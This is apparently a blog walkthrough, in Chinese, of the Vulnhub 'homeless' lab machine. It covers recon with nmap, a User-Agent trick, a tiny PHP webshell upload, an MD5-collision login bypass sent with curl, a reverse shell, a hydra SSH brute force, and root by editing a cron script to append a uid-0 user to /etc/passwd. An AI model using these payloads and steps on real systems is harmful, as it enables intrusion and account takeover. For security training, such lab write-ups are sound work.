Vulnhub homeless靶機滲透
資訊搜集
nmap -sP 192.168.146.6
nmap -A -Pn 192.168.146.151
直接訪問web服務。
大概瀏覽一下沒發現什麼,直接掃描下目錄把dirb+bp。
BP具體操作:抓包-Target選項卡-右鍵該地址-Spider/discovery
看一眼robots.txt有一些提示
可能之後要爆破啥的,再看一看源碼,發現有一段User-agent,可能是將我們的User-agent回顯了,抓包看看
可以發現,User-agent確實回顯了,但是改成其他的也是回顯,沒找到利用的方式。
然後按照CTF的套路猜測一下,可能需要一個特定的User-gent才能回顯特定的內容。
再查看一下源碼,看到一副很奇怪的圖片,特別模糊,但是能大概看清上面的一行字,用來當User-agent
Cyberdog Sledding Portal
使用這行,發現回顯了特定的東西。
給了一個url路徑myuploader_priv,直接訪問一下//192.168.146.151/myuploader_priv/
getFlag
文件上傳
隨便上傳一個普通的一句話,說文件太大了。。。
fuzz一下,發現最大上傳文件大小為8位元組。
使用最短的執行命令的方法 <?=`ls`;,將此寫進short.php
訪問//192.168.146.151/files/short.php
訪問887beed152a3e8f946857bade267bb19d159ef59.txt
再訪問一下這個目錄//192.168.146.151/d5fa314e8577e3a7b8534a014b4dcb221de823ad/
,找到後台
點擊右上角needhint,得到index.php.bak查看index.php源碼,主要看php程式碼
<?php
session_start();
error_reporting(0);
if (@$_POST['username'] and @$_POST['password'] and @$_POST['code'])
{
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
$code = (string)$_POST['code'];
if (($username == $password ) or ($username == $code) or ($password == $code)) {
echo 'Your input can not be the same.';
} else if ((md5($username) === md5($password) ) and (md5($password) === md5($code)) ) {
$_SESSION["secret"] = '133720';
header('Location: admin.php');
exit();
} else {
echo "<pre> Invalid password </pre>";
}
}
?>
邏輯就是username、password、code兩兩不相等,但是三者的md5相等。
md5碰撞
顯然數組、0e頭繞過是不可能的,看來只能用現有的工具進行md5碰撞,生成md5相同的東西了來繞過了。
github搜索一下,有現成的輪子//github.com/thereal1024/python-md5-collision
看一下說明
可以看到使用gen_coll_test.py就行了
生成了很多out_test_xxx.txt,這些文件的md5的值肯定都是相同的,驗證一下。(牛逼.jpg
curl命令傳輸文件
那麼選三個文件,直接用curl命令傳輸過去就可以了,先查一查curl傳輸的用法。
參考//ec.haxx.se/http/http-post
使用的參數:–data-urlencode HTTP POST data url encoded
curl --data-urlencode username@out_test_000.txt --data-urlencode password@out_test_001.txt --data-urlencode code@out_test_002.txt //192.168.146.151/d5fa314e8577e3a7b8534a014b4dcb221de823ad/
emmm… 好像少了response看看該用什麼參數。參數:-i, --include Include protocol response headers in the output
curl --data-urlencode username@out_test_000.txt --data-urlencode password@out_test_001.txt --data-urlencode code@out_test_002.txt //192.168.146.151/d5fa314e8577e3a7b8534a014b4dcb221de823ad/ -i
好了,現在有cookie了,改一下就可以訪問//192.168.146.151/d5fa314e8577e3a7b8534a014b4dcb221de823ad/admin.php
就進後台了。
命令執行
後台是一個命令執行的功能。
直接反彈shell,順便提升為互動式shell
直接到/home目錄下看到downfall用戶,該用戶目錄下有很多文件。
todo.txt應該是提示,內容如下:
hey i am homeless guy. Now i living near python.
Try Harder!
Thanks.
看來要從某個python文件入手,那就來搜索一下。
find / -type f -user downfall 2>/dev/null #除了用戶目錄多了個郵件但是沒許可權
find / -type f -group downfall 2>/dev/null #查找屬於downfall組的文件
發現一個py文件,進去看看。
emmm.. 然後就沒什麼思路了。
但是… 剛開始的提示rockyou好像還沒有用上。。 難道是用來爆破downfall用戶密碼的?那就試試。
hydra -l downfall -P /usr/share/wordlists/rockyou.txt -t 5 ssh://192.168.146.151
過了一會就爆破出來了。。
密碼:secretlyinlove
直接ssh連上去,得到真正的shell。
看一眼剛剛無許可權打開的.secret_message,然後準備再去看py文件,然後就看到收到了郵件,肯定是有點什麼了。
/var/mail下看看郵件
然後還可以看到這裡是不能import 模組的
很明顯了,這個homeless.py是一個以root許可權運行的定時任務啊,那後續思路清晰了。
這裡沒有sudo命令,那直接用homeless寫/etc/passwd文件即可。
先生成linux密碼perl -e 'print crypt("A1oe",q($6$hoiLHdTI)) ."\n"'
$6$hoiLHdTI$OTp4A6JE3k0MJ0cNXOpKkZ/rSxGrTmTy3O12d5kD8BTZJa3P.SpeCW1WePO.lzPvbzPOzpMaY4Vt7rwSQ2BAm.
改python文件內容為
#! /usr/bin/python
f = open("/etc/passwd",'a')
f.write('A1oe:$6$hoiLHdTI$OTp4A6JE3k0MJ0cNXOpKkZ/rSxGrTmTy3O12d5kD8BTZJa3P.SpeCW1WePO.lzPvbzPOzpMaY4Vt7rwSQ2BAm.:0:0::/root:/bin/bash')
f.close()
(記得要加上第一行,不然無法解析然後瘋狂報錯)
等一分鐘後看到用戶A1oe已經寫進去了
直接su A1oe password:A1oe登陸即可。
總結
剛開始的腦洞是真的大。。。(不知道是不是有別的思路,有的話請指教
收穫了一個md5碰撞的好的輪子,以後ctf可以配合curl命令直接用了(curl真香
提權就沒啥好說的了,比較常見,也就是修改root許可權運行的定時文件進行提權操作。